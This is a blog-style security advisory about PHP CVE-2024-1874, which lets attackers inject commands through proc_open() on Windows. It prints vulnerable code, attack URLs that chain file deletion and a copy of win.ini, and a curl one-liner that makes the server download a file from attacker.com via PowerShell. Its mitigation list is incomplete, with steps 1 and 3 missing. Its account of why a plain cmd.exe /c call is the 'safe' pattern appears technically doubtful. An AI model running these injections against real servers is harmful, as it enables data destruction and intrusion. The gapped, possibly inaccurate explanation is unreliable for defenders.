There’s a dangerous bug discovered in some versions of PHP (CVE-2024-1874) that hides in plain sight—waiting for someone to push the wrong data into the proc_open() function. In plain English: if your PHP server code uses proc_open() with array syntax on Windows, and it lets users control the command arguments, they could run whatever commands they want on your server. Yikes.
If you use PHP on Windows, you need to check your code right now.
In this article, I’ll walk you through what CVE-2024-1874 is, show you the vulnerable code pattern, demo a real exploit, and tell you how to fix and defend against this bug.
Let’s look at the recommended (but now dangerous) way to use proc_open()
<?php
// $user_input is supposed to be a safe file name or argument...
$user_input = $_GET['file'];
$cmd = ['cmd.exe', '/c', 'type', $user_input];
$process = proc_open(
$cmd,
[
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
],
$pipes
);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
?>
You may see similar code in projects that want to safely pass arguments as an array instead of a single command-line string. This is supposed to prevent command injection… but not on Windows, and not before this bug was fixed!
Why is This Dangerous?
In affected versions, when PHP’s proc_open() is used with array syntax on Windows, it doesn't properly escape arguments. If one argument contains the special shell characters (&, |, <, >, etc) and isn’t carefully checked, the Windows shell could interpret and run an attacker's command.
A hacker crafts a URL
http://yourserver/script.php?file=foo.txt & del important.docx &
So, PHP creates the command
['cmd.exe', '/c', 'type', 'foo.txt & del important.docx &']
In older, vulnerable PHP, the Windows shell parses the argument, and both type foo.txt and del important.docx run.
Suppose you run this script as part of your internal tool to view logs
<?php
$user_input = $_GET['name'] ?? 'file.txt';
$cmd = ['cmd.exe', '/c', 'type', $user_input];
$out = [];
$proc = proc_open($cmd, [1 => ['pipe', 'w']], $pipes);
if (is_resource($proc)) {
$out = stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($proc);
echo nl2br(htmlspecialchars($out));
}
?>
Attacker’s URL
http://yourserver/view.php?name=file.txt & copy C:\windows\win.ini C:\temp\leaked.ini &
What Happens?
- PHP passes the whole 'file.txt & copy C:\windows\win.ini C:\temp\leaked.ini &' as an argument to type.
- On vulnerable versions, Windows shell interprets the &, running both the original type and the malicious copy command.
Exploit Code
Here’s a one-liner exploit you could run from your terminal to test your server (WARNING: This is for educational/awareness use only!):
curl "http://victim.local/view.php?name=foo.txt & powershell -Command \"Invoke-WebRequest http://attacker.com/x -OutFile C:\temp\x.txt\" &"
If not patched, this line will run PowerShell and download a file to the server, possibly giving the attacker full access.
References
- NIST National Vulnerability Database – CVE-2024-1874
- PHP Security Advisory
- Original Patch Discussion
- PHP Manual – proc_open()
2. Sanitize and Validate All Inputs
Never trust user input. Always use strict validation for anything that might end up as part of a command.
// Example: only allow safe file names
$user_input = basename($_GET['name']); // strip path, allow only simple names
if (!preg_match('/^[\w.-]+$/', $user_input)) {
die('Invalid filename');
}
Avoid cmd.exe if possible.
- Prefer PHP-native functions (e.g. file_get_contents instead of type, or unlink instead of del).
4. Least Privilege
Run your server process under the least privileged Windows user account. Even if breached, damage is limited.
Summary Table
| PHP Version | Patched? | Vulnerable? |
|-------------|-----------------|-------------|
| 8.1.27 | ❌ No | Yes |
| 8.1.28 | ✅ Yes | No |
| 8.2.17 | ❌ No | Yes |
| 8.2.18 | ✅ Yes | No |
| 8.3.4 | ❌ No | Yes |
| 8.3.5 | ✅ Yes | No |
Final Thoughts
CVE-2024-1874 is an easy-to-overlook vulnerability with dangerous impact—letting attackers run code on Windows servers through PHP. You don’t want to be _that_ server admin. Patch immediately, sanitize your inputs, and always be careful with shell commands. Stay safe!
Share if this helped you protect your servers. Have questions or tips? Drop them below!
*Written exclusively for you, based on the latest research as of June 2024.*
Timeline
Published on: 04/29/2024 04:15:07 UTC
Last modified on: 05/01/2024 17:15:28 UTC